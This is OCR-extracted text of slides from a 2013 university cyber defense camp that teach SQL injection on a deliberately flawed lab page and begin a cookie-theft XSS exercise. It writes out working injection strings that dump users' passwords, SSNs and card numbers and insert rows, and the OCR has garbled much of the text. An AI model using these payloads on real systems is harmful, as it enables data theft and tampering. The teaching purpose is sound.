2013 Summer Camp — Web
Application Security: saL Injection and XSS

2013 Summer Cyber Defense Boot Camp



June, 2012

e Bad month for security

e What happened?
OLinkedIn: 6.5 million PVD were stolen

* Not passwords themselves!

e But hashes of passwords (“encrypted passwords” is
inaccurate)

A Yahoo: 443,000 e-mail addresses and passwords

were stolen ([ Where were they ]
e Clear passwords: Worse! L stored?

[ How did those hackers get these J Databases!
L..passwords/password-hashes? SQL injection!




The Bigger Picture

* Most Internet attacks are against what?
— Network infrastructures?

— Web applications!
e 70%
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Typical Web Applications

..........

FW1 Web Server

= SSN, CCN,
Database | POB HA

Server
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The Bigger Picture

e What are the most popular web application
attacks?

— SQL injection!
— Cross-site scripting (XSS)



Exercise

e Need a web browser only

e Sides:
https://users.cs.jmu.edu/tjadenbc/Bootcamp/
12-WebAppSecurity.pdf

OSQL injection
A XSS
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Prerequisites

e You know how to run a web browser (such as
Firefox, IE, and Chrome) and visit a web site

 You have a rough idea about a web server
— Web application



Organization

e Exercise 1: SQL injection
e Exercise 2: Cross-site Scripting (XSS)



Road Map

¢ Exercise 1: SQL injection
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Before You Start Exercise #1...

* You can follow the instructions of exercise #1
without understanding SQL

* However, a full understanding of these

exercises heed some very basic understanding
of SQL

e Suggestions?

— Follow the instructions to go through the whole
exercise first (without asking any questions)

— Come back to revisit the instructions later

2013 Summer Camp
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Exercise 1

 Open your web browser and visit this page:

httpS://crypto.cs.jmu.edu/flawedquery-

hidden.php

— Type in wangxx@jmu.edu

2013 Summer Camp

* No quotation marks

¥ 501 Injection - Mozilla Firefox

| | I S3L Injection | + |

& % crypho.cs,jmu, edu)flawedquery-hidden, php C giv Google )-' l' ‘ﬁ

I wiebmail B Blackboard w'ebMail For wangx...

Tvpe m vowr email address
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) SQL Injection - Mozilla Firefox
File Edit \View History Bookmarks Tools  Help

|1 50L Injection | - |

€ = % | P crypto.cs,jmu. edufflawedguery-hidden. php

c | | ~ Google J':‘-'| +

. I Webrnail Blackboard . WebMail For wanguxx...

Type m your email mlﬂr@jmu.edu
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“) SQL Injection - Mozilla Firefox M=
File Edit Wiew History  Bookmarks Tools  Help

|50l Injection | - |

#= : 9, | & crypto,cs, jmu.edujflawedgquery-hidden. php 6 | |'=' Google }T~'| '.r ﬁ‘

. MU Webmail B3 Blackboard . webMail For wangzx...

Ernail address: wangxx(@jmu.edu

(What does this web application
Eesults dO?

4 \

logimName [lastName [firstName | emaillAddress

WA TR Wang Hunhua  |[wangm@m edo

| e Queny || Edit Cueny |

Use a given email address to look up user information

A normal web application, right, right?
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Exercise 1

e Can you hack into it?

e What do you mean by hacking?

— Get information that you are not supposed to get
(through normal query)

e Walit...

— Is this specific web application vulnerable/insecure?

e How?

2013 Summer Camp

|

We need to make some
guesses first...

|
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Behind the Scene: Let’s Guess

» = —
w

FW1 Web Server

(a5,
2

r ™ =
What does the SQL Database

L statement look like? ) Server
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) SQL Injection - Mozilla Firefox
File Edit Miew History  Bookmarks  Tools  Help

| 150L Injection | - |

= = % | Y crypto.cs,jmu.edujflawedguery-hidden.php o | |'=' Google

. MU Webmail B8 Blackboard . WebMail For wangxx...

Tvpe n vour email address wangxx@jmu.edu ]
{

2013 Summer Camp
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Sehind the Scene: Let’s Guess

[ wangxx@jmu.edu

[ A SQL statement

e

SSN, CCN,
DOD | %‘

A guess: SELECT fieldlist FROM table WHERE field
= ‘wangxx@jmu.edu’; )

2013 Summer Camp 17




Now What?
[ X' OR1=1; "_]@jmu.edu

[ A SQL statement

iy ) /]

N
J
f

l SELECT fieldlist FROM table WHERE field=‘x’" OR1=1; -- J
2013 Su 18



You Want More Data? Here You Go

=1
[
[
—

=<2 SSN, CCN,
Database| |_P9% 1A

\_Server J

‘ SELECT fieldlist FROM table WHERE field=‘x’" OR1=1; -- }
2013 Su 19




) SOL Injection - Mozilla Firefox
File Edit ‘iew Hiskory  Bookmarks Tools  Help

|1 50l Injection | 4- |

- '} Q. | Y crypto,cs.jmu.edu)flawedguery-hidden. php

¢||B-cmge P ¥ #

. L Webmail B Blackboard . ‘WebMail For wang::x...

Tvpe m vour email address (' OFR1=1;—

Let’s try it

2013 Summer Camp
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5 SOL Injection - Mozilla Firefox

File Edit View

Hiskary  Bookmarks

Tools

|1 50l Injection

€ %

| WP

L+

Help

(=19

crypto,cs.jmu. edu)flawedguery-hidden. php

C | |"=' Google

Pl ¥+ A

L Webmail B Blackboard ‘WebMail For wang::x...

Email address: x" OR 1=1; --

oy

We got more data! ]—

Results
—
logmMName lastName firstName emallAddress

addielw Leddie Evle addielow@dulees jmu.edu

allenrtm Allen Fatfael allenrmi@dulies jm. edu

eskridom Eslknidge Charles eskenidemi@dulees. jmu.edu

fieldld Field Eewn feldkdi@dules. jmu. edu

flemminel Fleming Exril Hemmel@dulees jru.edu v
51 Tt A1) T Anlee e 411y o]

1T =171

[ But no SSN or credit card numbers yet! ] )




Can the hacker do more damage?

/w

Web Server

FW1
=1 |sSN,ccN,
—= DOB, HA
Database ’
How to get those SSN and Server
credit card numbers!
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) SQL Injection - Mozilla Firefox
File Edit Miew History  Bookmarks  Tools  Help

| 150L Injection | - |

= . % | & crypho,cs, jmu.edu)flawedguery-hidden. php Gy | |'=' Google ;5'| '.r ﬁ‘

. MU Webmail B8 Blackboard . WebMail For wangxx...

Tvpe n vour email address \{

X': show databases; --

4 )
The hacker wants to know

. more about the database )
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) SOL Injection - Mozilla Firefox
File Edit Mjew History  Bookmarks  Tools  Help

|50l Injection | -+ |

€ - % | ¢ crypto,cs,jmu. edu)flawedquery-hidden. php

c | | ~ Google ;_| +

. U Webmail B8 Blackboard . WebMail For wang:s...

Tyvpe m vour emaill address |« show databases: -

Let’s try it

2013 Summer Camp
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) SOL Injection - Mozilla Firefox
File Edit Mjew History  Bookmarks  Tools  Help

|50l Injection | - |

L - % | ¥ cryplo,cs.jmu.edu/flawedquery-hidden. php

¢l s P| & #

. U Webmail B8 Blackboard . WebMail For wang:s...

Email address: x'; show databases; --

Results

logimName (lastName firstName |-9-.mf|i]A:l:l1'e-.ss

Diatabase

H% What are these?

e Cluery || Edit Clueny
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) SQL Injection - Mozilla Firefox
File Edit Miew History  Bookmarks  Tools  Help

| 150L Injection | - |

= = % | Y crypto.cs,jmu.edujflawedguery-hidden.php Gy | |'=' Google ;_| '.r ﬁ‘

. MU Webmail B8 Blackboard . WebMail For wangxx...

Tvpe n vour email address

X': show tables; --

p
The hacker wants to know more about the table

with SSN and credit card numbers

\
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5 SOL Injection - Mozilla Firefox

File Edit ew History  Bookmarks Tools  Help

|1 50L Injection

-

= ') 1:: | % crypto.cs,jmu.edu)flawedquery-hidden. php [y | |v Google 4,_| ..... ﬁ

. MU Webmail 3 Blackboard .

Tvpe in vour email address

WeblMail for wangx. .

= show tables; — \

2013 Summer Camp

Let’s try it J

27



5| SOL Injection - Mozilla Firefox
File Edit “iew History Bookmarks Tools  Help

|1 50L Injection | + |

L - % | % crypto.cs.jmu.edufflawedquery-hidden. php

c | | * GGoogle ;_| "’ "ﬁ*

. I webmail B3 Blackboard . WebMail For wang:x...

Email address: x'; show tables; --

Results

logmMName lastName [firstName [emalAddress

Tables_m_sqlinjection

holtcm

tnetmbers

UEES

LoLz What are these?

Mew Cueny || Edit Query

2013 Summer Camp
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“) SQL Injection - Mozilla Firefox =13
File Edit Miew History  Bookmarks  Tools  Help

| 150L Injection | - |

= . % | Y crypto.cs,jmu.edujflawedguery-hidden.php Gy | |'=' Google ;_| '.r ﬁ‘

. MU Webmail B8 Blackboard . WebMail For wangxx...

Tvpe n vour email address
AN

X': show columns from
members; --

{ The hacker wants to know more about }
members

2013 Summer Camp




) SOL Injection - Mozilla Firefox
File Edt ‘Wiew History  Bookmarks Tools  Help

|1 50L Injection | - ‘

€ - 9, | e crypho,cs,jmu,edujflawedquery-hidden, php

c | | ~ Google ;_| 4+ H

. U webmail B3 Blackboard . WebMail For wangxx...

Tyvpe in vowr email address plumns from members; —

Let’s try it J

2013 Summer Camp
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) SQL Injection - Mozilla Firefox

File  Edit  Wiew History Bookmarks Tools  Help

J 7l 50l Injection

Results

[t

COX

L - % | & erypro.cs. jmu.edufflawedguery-hidden. php

| |" Google

2+

B 3t webmail B8 Elackboard [ webMail For wang...

Email address: x'; show columns from members; --

|luginN ame |lastN ame |f'u‘stN ame |emai]A[l[h‘ess

( More output!

| Field | Type |Nu]l |Key |De-.f ault | Extra

lloginlTame varchar(20) INO PRI

|password ||:har(255) |NO

llastName varchar(50) [0

lfirsthame varchar(50) [0

lrmiddie}Name \char(30) [YES

lizuEID bigint(20) unsigned [NO [UNI auto_increment
ﬁ» [ssn fint(9) unsigned | YES

|studentTD int(9) vnsigned | YES

|ereditCardMumber int(16) unsigned | YES

hameOnCard |varchar(50) [YES

|cardExpirationDate |date |YES —

lemaildddress  |varchar(250)  |YES

|createT1me |datetime |YES

|st:reet |varchar(50) |YES

|city varchar(50) [YEsS

|state char(2) [YES

lzip char(10) [YES

What are these?
-\

[ MNew Query ][ Edit Query

\

ssn/creditCardNumber
data out?

[ Canthe hacker get

J

2013 Summer Canip
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“) SQL Injection - Mozilla Firefox Mi=1E3
File  Edit ‘“jew  Hiskory  Bookmarks Tools  Help

| 1501 Injection | - |

L '} % | ¢ crypto.cs.jmu,edu)flawedquery-hidden. php [ | |‘=' Google jttl| “I"’ 'ﬁ*

. MU webmnail B Blackboard . WebMail For wangaxx...

Type in yvour email address «: SELECT * FROM mer

x's SELECT * FROM
members; --

2013 Summer Camp




) SQL Injection - Mozilla Firefox

FEX
File Edit Wiew History EBookmarks Tools  Help
J 7} 50L Tnjection | + |
€ . % |;: crypto,cs,.jmu edufflawedquery-hidden.php c | | = Google ;_I -& ﬁ‘
m JMU webmail B8 Blackboard u WebMail For wangee..
Email address: x'; SELECT * FROM members;-- 2
Results
|l-:| gmName [lastName |i"u'stN ame |emai]A(lth'e-ss
| logmIName | password | lastIName | firstName widdleName jmuEID ssI studentID |d:re-. ditCardNumber | nameOnCard |cardExpiration]
addielow passWord Addie Eyle “Alharn 1 630971234 (100000001 4294267295 Evyle Addie 2015-12-31
allenrm admind 58 Allet Fafael Nulark 2 450871536 (100000002 |4254967285 Eafael Allen 2013-07-31
eskndom 2012D0om Eskridge Charles Nlatthew 3 A0R245176 (100000003 4294967295 Chad Eskndge  [2012-12-12
fieldil ATPMiami2011 Field E evin Lawrence 4 439154726 |100000004 |42545672585 K evin Field 2011-01-21
fletmnel Iulore Crwer Fleming Erik Lee ] 928353821 (100000005 4294967295 Erik Fleming 2011-12-15
arantact HiddenPwdil Grant Casey Todd & 824521087 (100000006 4234967255 Casey Grant 2011-11-30
heatwong GreenCard2011  |[Heatwole ITathan Geary 7 190184728 ||100000007 |42949672595 E::ﬁile 2014-03-31
holtem TeInwincible Holt Christopher  [Michael |8 ‘40928918? |100000008 ‘4294967295 Chriz Holt 2011-06-30 >
< |

4 )
Wow. How did
i ?

. this happen: )
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Skip this slide in the first round

e Database
e Table

e Column



Skip this slide in the first round:

e CREATE TABLE Cars(ld INT PRIMARY KEY, Name TEXT, Price
INT) ENGINE=InnoDB;

e INSERT INTO Cars VALUES(1,'Audi',52642);

e |INSERT INTO Cars VALUES(2,'Mercedes',57127);

e [INSERT INTO Cars VALUES(3,'Skoda‘',9000);

e [NSERT INTO Cars VALUES(4,'Volvo',29000);

e [NSERT INTO Cars VALUES(5,'Bentley',350000);

e [INSERT INTO Cars VALUES(6,'Citroen',21000);

e [NSERT INTO Cars VALUES(7,'Hummer',41400);

e |INSERT INTO Cars VALUES(8,'Volkswagen',21600);

2013 Summer Camp
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The hacker can actually do more...

 Find database name, table names, and table
schemas

* Find all data
— Store them in a separate file

 Even insert a (bogus) entry into the table
— Log ID?
— Verify the insertion!



i SOL Injection - Mozilla Firefox

File Edit Miew History  Bookmarks  Tools  Help
| 150L Injection | - |
= . % | & crypho,cs, jmu.edu)flawedguery-hidden. php Gy | |'=' Google ;5'| '.r ﬁ‘

. MU Webmail B8 Blackboard . WebMail For wangxx...

Tvpe n vour email address

N\

O\

( | x'; INSERT INTO members
(loginName,lastName,firstName,emailAddress) VALUES

(I

\_ ','2013",'summercamp’,'tjadenbc@cs.jmu.edu’');--

\.

(Use your own names for > This will
insert your own new entry to the database

table P

2013 Summer Camp
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©) 50L Injection - Mozilla Firefox
File Edit ‘iew Hiskory  Bookmarks Tools  Help

|1 50l Injection | 4- |

= = Q. | & crypto,cs.jmu. edu)flawedguery-hidden. php [y . I" Google ; 1'-' ‘ﬁ‘

L Webmail B Blackboard ‘WebMail For wang::x...

Tvpe m vour email address (' OFR1=1;—

[You can verify your insertion with this]
command

If you do not see a row with . your
insertion is not successful
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Got Here?

 Congratulations!

* Now, it is time to stop and go back to review the
steps that you have taken

— What are they for?
— You can now ask questions

2013 Summer Camp
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<?php
echo "<html> <head><title>SQL Injection</title></head><body>";
Shost="localhost";

Suser="wangxx"; {Skip this slide in your]

Spassword="Xxxxxxxx"; .

if(lempty(S_POST['form'])) { first round
Smysqli = new mysqli(Shost, Suser, Spassword, "sglinjection");
if (mysqli_connect_errno()) {

printf("Connect failed: %s\n", mysqli_connect_error());

exit();
}
Smyquery = "SELECT loginName, lastName, firstName, emailAddress FROM
members WHERE emailAddress ="."".S_POST['emailAddress'].""";

Sresult = SmysqlieSmulti_querytsmyquery);
echo "Email address: <b>{$_POST['emailAddress']}</b><br> <h3>Results</h3><hr>";
if(Sresult == false) {
echo "<h4>Error: ".Smysqli->error."</h4>";
}else {// alot of code here
}
Smysqli->close();
>

2013 Summer Camp
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* How to fix it?

2013 Summer Camp

Now What?
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e <php
echo "<html> <head><title>SQL Injection</title></head><body>";
Shost="localhost";

Suser="wangxx"; { Skip this slide in your

|

Spassword="Xxxxxxxx"; . .
Hlempty(S_POST[form]) { first round (fix step 1)

Smysqli = new mysqli(Shost, Suser, Spassword, "sglinjection");
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());

exit();
}
Smyquery = "SELECT loginName, lastName, firstName, emailAddress FROM
members WHERE emailAddress ="."".S_POST['emailAddress'].""";

Sresult = Smysqlic>real_query(Smyquery);
echo "Email address: <b>{$_POST['emailAddress']}</b><br> <h3>Results</h3><hr>";
if(Sresult == false) {
echo "<h4>Error: ".Smysqli->error."</h4>";
}else {// alot of code here
}
Smysqli->close();

?>
2013 Summer Camp
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Fix Step 2

 Change your web application code to filter
user inputs!



Road Map

{ Exercise 2: Cross-site Scripting (XSS)

2013 Summer Camp
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Typical Web Applications

=
Web Server

FW1 /

=
| —
| —
| —

I

How does the server know that it is you,
a repeat customer?

2013 Summer Camp .




Web Cookies

EWA1 Web Server

Your we browser sends back the web
cookies

|

2013 Summer Camp

..........
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What is a Web Cookie?

e Web cookie

— A piece of string placed in your browser by a
website server (session cookie; close your
browser? It is gone!)

— A small data file placed on your hard drive by a
website that you visit (persistent cookie)

e To store and transmit information to the server of
websites (re)visited from that browser / computer

e Also known as http cookie, browser cookie
e Keep track of long-term users

2013 Summer Camp
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What for?

e For remember the state of your web browser
— Have you visited this server before?

— Have you been authenticated before? What is
your status in this session?

— What are your browsing habits/preferences?
— Have you put anything on your shopping cart?

* Anything else that can be accomplished
through storing text data



Web Cookies

 The value of a web cookie can be very
valuable

— |t allows the server to “recognize” you

e |f stolen, the server will think that the attacker
IS you



O Where IE?

e Windows 7

— C:\Users\<username>\AppData\Roaming\Microso
ft\Windows\Cookies\
C:\Users\<username>\AppData\Roaming\Microso
ft\Windows\Cookies\Low\

e Windows XP

— C:\Documents and Settings\<username>\Cookies\

2013 Summer Camp
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O Example |E Cookie

e C:\Users\ \AppData\Roaming\Microsoft\Windows\C
ookies\OO8H2IOR.txt

— DSSIGNINurl_defaultsslvpn.jmu.edu/dana-
na/1537242676531232108053332704919230271446*

e C:\Users\ \AppData\Roaming\Microsoft\Windows\C
ookies\VUEMGKRB.txt

— N_Tsess%3D5da5d4ba9%b67b683%26v%3D2%26c%3D4ed5068e
%265%3D50ba395b%26t%3DR%3A0%3A%7CR%3A4d%3A%26se
ssref%3Dhttp%253A%252F%252Fsupport.google.com%252Fchr
ome%252Fbin%252Frequest.py%253Fh|%253Den%252605%253
D6.1.7601%2526contact_type%253Duninstall2%2526rd%253D1
%2526¢rversion%253D23.0.1271.95support.google.com/97283
16709068830265322239463093230265318*



OHow in IE? (1/2)

Internet Options

General Securit';.f| Privacy |C-:nntent Conneckions || Programs | Advanced

Settings

?_ Select a setking for the Internet zone.

®
Medium High

- Blocks third-party cookies that do not have a compact
privacy policy

L - Blocks third-party cookies that save information that can
be used ko conkack wou wikhouk yaur explicit consent

- Blocks first-party cookies that save information that can
be used to contack vou without your implicit consent

[ Sites ] [ Impark ] | .ﬁ.dganced |[ Defaulk ]

Pop-up Blocker

§ j|  Prewvent most pop-up windows Fram Settings

appeating.

Turn on Pop-up Elocker

Advanced Privacy Settings

g “'ou can chooze how cookies are handled in the [nternet

Cockies

[ ]idwemnde automahc cookie handling

— = zone. Thiz overdes automatic cookie handling.

X]

OF.

] [ Cancel

(0] 4 ] [ Cancel

2013 Summer Camp
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2013 Summer Camp

OHow in IE? (2/2)

Advanced Privacy Settings

You can chooze how cookies are handled in the [nternet

zohe. Thiz overnides automatic cookie handling.

(%) Accept
() Block:

[ ] Always allow session cookies

3

OE.

Cancel
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A Where
Firefox?

* Win XP

— C:\Documents and Settings\
\Application
Data\Mozilla\Firefox\Profiles\ .default

e Win7:

— C:\Users\Xunhua\AppData\Roaming\Mozilla\Firef
ox\Profiles\cOkbwOu4.default\cookies.sqlite

e Ubuntu (including BT5R3)
— ~/.mozilla/firefox/e8pbml 20.default/cookies.sqlite

[ Your grayed values might be different J

2013 Summer Camp
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A SQLite Manager for Firefox

* You can use a tool to query cookies in Firefox: SQLite

e Download and install https://addons.mozilla.org/en-
us/firefox/addon/sqglite-manager/

e “Tools” | “SQLight Manager”

e “Database” | “Connect Database”

* Open
C:\Users\Xunhua\AppData\Roaming\Mozilla\Firefox\Pr
ofiles\cOkbwOu4.default\cookies.sqlite

 “Browse & Search”

e “Execute SQL”
— SELECT * FROM moz_cookies
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20

@ 5QLite Manager - C:\Users\Xunhua\AppData\Roaming\Mozilla\Firefos\ Profiles\c Okbwlud default\cookies.sqlite

:lﬂh

Database Table Index View Trigger Tools

EIX D@ £ | s |

Help

e

Directory

4 l (Select Profile Database) ] Go |

Structure | Browse & Search | Execute SQL| DB Settings|

cookies.sglite - l
[ Master Table (1) Enter SQL Select | Data Manipulation | Create/Alter | Drop | Relndex | PRAGMA
> Tables (1) SELECT * FROM moz_cookies
b Views (0)
b Indexes (2)
b Triggers (0] l Run SQL ] l Actions - ] Last Error:  notan error
id baseDomain appld inBrows... name value host path Expiry lasthcce... creationT B
836 | google.com o o |MID |67=PrUEUrtwjozAeheld8s... |.google.com |¢ |1377743067 |1361932... |13619327¢
896 | google.com lo o |_utmz  |247248150.1361932767 1.... |.code.google.com 7 |1377700040 [1361932... |13619327¢
895 google.com 0 0 _utmb  |24724815012101361932... |.code.google.com / 13561934740 1361932... |13619327¢
804 google.com 0 0 _utma  |247248150,897086165.136... [ .code.google.com / 1425004340 1361932... |13619327¢
817 mozilla.org 0 0 multidb_...|y addons.mozilla.org / 1361932666 1361932... |13619326f
823 mozilla.org 0 0 _utmz  |164683759.1361932650.1.... |.addons.mozilla.org / 1377700697 1361932... |13619326°
§22 mozilla.org 0 0 _utmb  |164683759.210.1361932650 | .addons.mozilla.crg / 1361934497 1361932... |136193267
821 mozilla.org 0 0 _utma  |164683759.1730756665.13... [ addons.mozilla.org / 1425004697 1361932... |13619326F
10— Lared —fe—io froe—— ;
[ 809 ed D D e 20 ed o0 03466 519 51930148
807 jmrl.org 0 [ _utmb [ ZE58738T3 21056569800 | aries, mrl.org I 1361371770 1361369... |13613699¢
795 jmirl.org 0 0 _utmb  |171305723.1.10.1361369963 | jmrl.org / 1361371763 1361369... |13613699€¢
730 mitbbs.com 0 0 COUNTRY |us www.mitbbs.com ! 1361578125 1361218... |13612181Z
729 mathtag.com 0 0 uuid 4a0f5122-8a3c-4016-8d27... | .mathtag.com / 1392754120 1361218... |136121817
720 questionmarket.c... |0 0 cs1 1009850-1-2 .questionmarket.com ! 1397216823 1361216... |136121682
21 questionmarket.c... |0 0 [E5 1009850-L3C'N-0 .questionmarket.com ! 1397216823 1361216... |136121682
631 fihub.com 0 0 b "afBlz2l_Q==AETT3TAA.. |.rfihub.com / 1438976571 1361216... |13612165¢
629 turn.cem 0 0 w 1 furn.com / 1376768583 1361216... [13612165¢
628 turn.com 0 0 rds undefined %7 Cundefined... [ turn.com ! 1376768583 1361216... [13612165¢
627 turn.com 0 0 s undefined %7 Cundefined... | turn.com / 1376768583 1361216... |13612165¢
617 turn.cem 0 0 fic T8vF1503n0yErXo76Go_... |.turn.com / 1376768582 1361216... |13612165¢
616 turn.com 0 0 uid 2836835480227592996 turn.com / 1376768582 1361216... |13612165¢
605 atdmt.com 0 0 MUID 25F8913F985E6CEF152295.., | atdmt.com / 1424217613 1361216.. |13612165(
604 atdmt.com 0 0 AN002 1361216491-10861324 .atdmt.com / 1424217613 1361216... |13612165(
645 adnxs.com 0 0 anj Kfu=8fG3x=Cung)0s]#%2L... | .adnxs.com / 1368992584 1361216... [13612165(
602 adnxs.com 0 1] icu ChII-9glEACYASABKAEW.., |.adnxs.com / 1358392502 1361216.. |13612165(
643 adnxs.com 0 0 uuid2 7238849057106324589 .adnxs.com / 1358992584 1361216... |13612165(
644 adnxs.com 0 0 sess 1 .adnxs.com / 1361302984 1361216... |13612165(
581 doubleclick.net 0 0 _drt_ NO_DATA .doubleclick.net / 1361259664 1361218, |13612164¢
580 mitbbs.com 0 0 PHPSESS... | d61288800f37bf5e77a8ba... |www.mitbbs.com / 1361220065 1361218... |13612164¢€
789 mitbbs.com 0 0 _utmb  |200988082.25.10.1361216... |.mitbbs.com / 1361220070 1361218... |13612164F
406 intermundomedia... |0 1} CSList 1121935/1091418,0/0,0/0,... [ .intermundomedia.com ! 1368626698 1360850... |13608506¢
405 intermundomedia... |0 0 PreflD 14-1328429852 .intermundomedia.com / 1423965898 1360850... |136085065
404 adsrvr.org 0 0 TDID 9f6i0e723-9bdb-4c74-b75... |.adsrvr.org / 1392386699 1360850... |13608506¢
376 scorecardresearch.., |0 ] UIDR 1360850609 scorecardresearch.com / 1423058614 1261216.. |136085061
375 scorecardresearch... |0 0 uID 13ba%bad-69.68.184.232-... |.scorecardresearch.com / 1423058614 1361216... |136085061
637 fihub.com 0 0 =1 1361216571882 fihub.com / 1438976571 1361216... |136085061
636 fihub.com 0 0 t 1361216571881 fihub.com ! 1438976571 1361216... |136085061
635 fihub.com 0 0 al 1CAESEGExQnZiBecsgl-4u... | fihub.com / 1438976571 1361216... |136085061
346 serving-sys.com 0 0 u2 daal316d-32a7-4b45-b24... | serving-sys.com ! 1368608613 1360850... |136085061 _
:.Pl = = = == - = 2 amcncnncan e e
4 1 | »
%&Um.mﬁ I"Beghdd18b2 077  Excusive Number of Rows Returned: 95 ET:5ms
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A How in Firefox?

- ss O 0%
J =£?r| % B = %

General Tabs Content  Applications Privacy  Security  Advanced

X]

Histary

Firefox will: |Use customn settings for history |

[] Autornatically start Firefox in a private browsing session

Rermermber my browsing history for at least a0 o | days

Remermber download history
Rermernber search and form history

%] Accept cookies from sites D Exceptions ..
Keep until: | they expire v| Show Cookies...

[ ] dear histary when Firefox closes

Location Bar

When wsing the location bar, suggest: |Hi5t|:|rﬁ,f and Bookmmarks V|

| 0] 4 || Cancel || Help

2013 Summer Camp
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General Cookie Rules

e A cookie has a domain either the same or a sub-
domain of the requesting host

— Cookie owner; first-party cookie
— Most browsers, by default, allow first-party cookies
e A user visiting www.example.com can have a cookie set
with domain www.example.com or .example.com
— but not .com

* Your browser

— A cookie set by www.cnn.com will be sent back to this site
only

— Your web browser will follow this rule
— Scripting code (Javascript) from www.cnn.com can run in
your web browser and access cookies set by www.cnn.com

[ The same-origin policy ]
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I ==—=mple Cookie Owner (1/2)

com

E{
I

2

U0

a n. rW.www.bankofamerica.com

~ www.bankofamerica.com may seta
persistent cookie in your web

N\ browser y

2013 Summer Camp
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www.bankofamerica.
com

J ——r-=mple Cookie Owner (2/2)

i [T )

\ www.www.bankofamerica.com

/
QAR

RS

Bl
[These two domains do not belong to each other ]malicious.com

www.malicious.com should NOT get
.. | bankofamerica.com’s cookies in your browser .




Exercise #2: Stealing Cookies through
J Cookie for XSS

users.cs.jmu.edu

()

users.cs.mu.edu

ui 1N

crypto.cs.jmu.edu

—

web cookies for users.cs.jmu.edu?

2013 Summer Camp

[ Can the attacker (at crypto.cs.jmu.edu) steal your]
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Exercise 2

e Exercise 2: XSS
— Open your web browser
OFirefox: “Tools” | “Add-ons” | “Extensions”, disable
“No Script,” if you have it
0htrt]pszl//users.cs.imu.edu/wangxx/web/tools/setcooki
e.ntm

 Name: you can put anything unique there: such as your
full name and a unique string

e Role: Administrator
e According to the cookie rule, this cookie should be sent back
to users.cs.jmu.edu only

— Where is your cookie stored?
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") Group 4 Cookie Creator - Mozilla Firefox
File Edit ‘“jew History Bookmarks Tools  Help

(  Group 4 Cookie Creatar Iﬁ‘
{' = i} | B hbtps:fusers. csdmu.edu)wanoss: web too ’F.'“ v X | * Gaoagle p| 'l"’ ‘ﬁ‘

. U webmail B3 Blackboard . WebMail For wang:x:x...

Pleaze erter your name:

i | Cancel J

Read users,cs. jmu.edu

2013 Summer Camp
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") Group 4 Cookie Creator - Mozilla Firefox

File Edit

Wiew  History  Bookmarks  Tools  Help

C isroup 4 Cookie Creataor | + |

{' = i’ | B hbtps:fusers. csdmu.edu)wanoss: web too v X | * Gaoagle P| 'l"’ ‘ﬁ‘

. U webmail B3 Blackboard . WebMail For wang:x:x...

2013 Summer Camp

Pleaze erter your name:

2013 Summer Camp|

h o] J | iancel J

Type in your full name here (to
replace “2013 Summer Camp”
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") Group 4 Cookie Creator - Mozilla Firefox

File Edit Wew History

Bookmarks Tools  Help

(_, iaroup 4 Cookie Creator

E3

{' = i’ | B hbtps:fusers. csdmu.edu)wanoss: web too v X | * Gaoagle p| 'l"’ ‘ﬁ‘

. U webmail B3 Blackboard . WebMail For wang:x:x...

What iz your role’?

Adminiztrator

|:| Prevent thiz page from cresting additional dislogs

Read users,cs. jmu.edu

2013 Summer Camp
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Now What?

* Close your web browser

 Next, open a web browser again

e Typein
https://users.cs.imu.edu/wangxx/web/tools/setcooki

e.html

2013 Summer Camp
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") Mozilla Firefox
File Edit ‘iew History  Bookmarks Tools  Help

:: hI:I:ps:,l',l'users.cs.jmu.e...I:u,l'tn:n:uls,l'setn:u:u:ukje.hl:ml| + |

] % _ B hbtps: [ fusers.cs.jmu.edu)wang:o: web)to [y . _" imoogle ;_ '.r ‘ﬁ“

a0 webmail B3 Blackboard WebMail For wang::x...

welcome agan 2013 Sumtner Catnop
‘ Tou are aln) A dminstrator

This is your persistent cookie for
users.cs.jmu.edu, stored in your web browser
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) Cookies

Search:

users,cs.jmu.edu

The following cookies makch wour search;

aite

[

users,cs, jmu. edu

L iusers,cs,jmu.edu

i_nokie Mare
USErmame

rale

Marne:
i_onktent:
Hosk:
Path:
Send For:
Expires:

USErnane
2013%205ummer Y20 amp
users, o5, jmu, edu
Iwangx:webfkools)

Ay bvpe of connection

Friday, May 09, 2014 1:51:15 PM

Remaove Cookje | | Remove Al Cookies |

2013 Summer Camp

=

P
You can view your cookie

. for username in Firefox

Close
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) Cookies

Search: | users.cs.jmu.edu

The Following cookies match waour search:

aite

L iusers,cs,jmu, edu

users,cs, jmu, edu

Conkie MName
USErname

Marme: role
Conkent:  Administrator
Haosk: users.cs,jmu.edu
Path: fwangwxxwebtaols]
Send For: Any type of connection
Expires: Friday, May 09, 2014 1:51:56 PM

Remove Cookje | | Remove all Cookies

2013 Summer Camp

2]

P
You can view your cookie
for role in Firefox

ilose
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A SQLite Manager for Firefox

* You can also view your cookies with SQLite Manager
— Installed earlier (check slide 50)

e “Tools” | “SQLight Manager”

e “Database” | “Connect Database”

* Open
C:\Users\Xunhua\AppData\Roaming\Mozilla\Firefox\Pr
ofiles\cOkbwOu4.default\cookies.sqlite

 “Browse & Search”

e “Execute SQL”
— SELECT * FROM moz_cookies

2013 Summer Camp
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20

@ 5QLite Manager - C:\Users\Xunhua\AppData\Roaming\Mozilla\Firefos\ Profiles\c Okbwlud default\cookies.sqlite

:lﬂh

Database Table Index View Trigger Tools

EIX D@ £ | s |

Help

e

Directory

4 l (Select Profile Database) ] Go |

Structure | Browse & Search | Execute SQL| DB Settings|

cookies.sglite - l
[ Master Table (1) Enter SQL Select | Data Manipulation | Create/Alter | Drop | Relndex | PRAGMA
> Tables (1) SELECT * FROM moz_cookies
b Views (0)
b Indexes (2)
b Triggers (0] l Run SQL ] l Actions - ] Last Error:  notan error
id baseDomain appld inBrows... name value host path Expiry lasthcce... creationT B
836 | google.com o o |MID |67=PrUEUrtwjozAeheld8s... |.google.com |¢ |1377743067 |1361932... |13619327¢
896 | google.com lo o |_utmz  |247248150.1361932767 1.... |.code.google.com 7 |1377700040 [1361932... |13619327¢
895 google.com 0 0 _utmb  |24724815012101361932... |.code.google.com / 13561934740 1361932... |13619327¢
804 google.com 0 0 _utma  |247248150,897086165.136... [ .code.google.com / 1425004340 1361932... |13619327¢
817 mozilla.org 0 0 multidb_...|y addons.mozilla.org / 1361932666 1361932... |13619326f
823 mozilla.org 0 0 _utmz  |164683759.1361932650.1.... |.addons.mozilla.org / 1377700697 1361932... |13619326°
§22 mozilla.org 0 0 _utmb  |164683759.210.1361932650 | .addons.mozilla.crg / 1361934497 1361932... |136193267
